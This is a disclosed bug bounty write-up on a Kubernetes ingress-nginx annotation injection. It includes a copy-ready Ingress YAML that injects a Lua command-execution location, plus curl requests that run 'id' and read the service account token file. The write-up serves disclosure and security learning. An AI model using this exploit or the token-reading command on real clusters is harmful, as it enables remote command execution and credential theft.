# Ingress nginx annotation injection causes arbitrary command execution

Bypassed ingress-nginx snippet restrictions by injecting a lua content_by_lua_block location via configuration-snippet, achieving arbitrary command execution and service account token theft.

- Payout: $2,500
- Severity: high
- Program: Kubernetes
- Found by (vendor credit): Mitch Hulscher, Anthony Weems, jeffrey&oliver
- Found by: suanve
- Disclosed: 2023-11-24
- CVE: CVE-2021-25742, CVE-2021-25746
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/1728174
- Library page: https://bugbountylibrary.com/r/h1%3A1728174
- Tags: area:cloud domain:cloud domain:web impact:internal-access impact:rce kind:bounty platform:hackerone sev:high tech:kubernetes tech:nginx technique:chained technique:incomplete-fix vuln:command-injection vuln:rce

**Target:** ingress-nginx controller configuration-snippet annotation
**Root cause:** The configuration-snippet annotation allows injecting arbitrary nginx config; blacklisting the alias directive is insufficient because lua blocks (content_by_lua_block) can be injected to execute commands.
**Steps:**
1. Deploy ingress-nginx controller-v1.4.0 via kubectl apply of deploy.yaml
2. Create Ingress with annotation `nginx.ingress.kubernetes.io/configuration-snippet` containing a crafted block that closes the existing location and opens `location /suanve/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]); ... } }`
3. kubectl apply -f su.yml
4. Send `curl -H 'Host: suanve.susec.me' -H 'cmd: id' 127.0.0.1/suanve/` to execute commands
5. Read service account token via `cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token`
**How found:** Noticed prior fixes (CVE-2021-25742/25746) only blacklisted the alias directive; reasoned that nginx lua support offers another injection primitive via configuration-snippet.
**Exploitation:** Attacker with ability to create/modify Ingress objects injects lua via configuration-snippet, then issues HTTP requests with a cmd header to the injected location to run arbitrary commands inside the nginx container and exfiltrate the Kubernetes service account token.
**Escalation:** Using stolen service account token to pivot into the cluster API.
**Insight:** When a vendor patches a config-injection sink by blacklisting one directive, enumerate other nginx directives that execute code (lua blocks, perl, js) and test whether the snippet can break out of the surrounding location block.

## Proof of concept (copied exactly from the original report)

**Ingress YAML with configuration-snippet injecting lua location**

```
cat > su.yml<<EOF
apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: ingress-exploit
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/configuration-snippet: |
      more_set_headers "suanve"
            proxy_pass http://upstream_balancer;
                                proxy_redirect                          off;
        }
        location /suanve/ { content_by_lua_block { local rsfile = io.popen(ngx.req.get_headers()["cmd"]);local rschar = rsfile:read("*all");ngx.say(rschar); } } location /fs/{
spec:
  rules:
  - host: suanve.susec.me
    http:
      paths:
      - path: /
        pathType: Prefix
        backend:
          service:
            name: exploit
            port:
              number: 80

EOF

kubectl apply -f su.yml
```

**Curl request executing id via cmd header**

```
curl -v -H 'Host: suanve.susec.me' -H "cmd: id" 127.0.0.1/suanve/
*   Trying 127.0.0.1:80...
* Connected to 127.0.0.1 (127.0.0.1) port 80 (#0)
> GET /suanve/ HTTP/1.1
> Host: suanve.susec.me
> User-Agent: curl/7.79.1
> Accept: */*
> cmd: id
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 10 Oct 2022 09:58:18 GMT
< Content-Type: text/html
< Transfer-Encoding: chunked
< Connection: keep-alive
<
uid=101(www-data) gid=82(www-data) groups=82(www-data)
```

**HTTP request reading service account token**

```
GET /suanve/ HTTP/1.1
Host: suanve.susec.me
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
cmd: cat /var/run/secrets/kubernetes.io/serviceaccount/token
```

## Write-ups of the same bug (oldest first)
- 2022-08-13: [Ingress-nginx annotation injection allows retrieval of ingress-nginx serviceaccount token and secrets across all namespaces](https://bugbountylibrary.com/r/h1%3A1378175) — amlweems
- 2023-11-24: [Ingress nginx annotation injection causes arbitrary command execution](https://bugbountylibrary.com/r/h1%3A1728174) — suanve (this one)

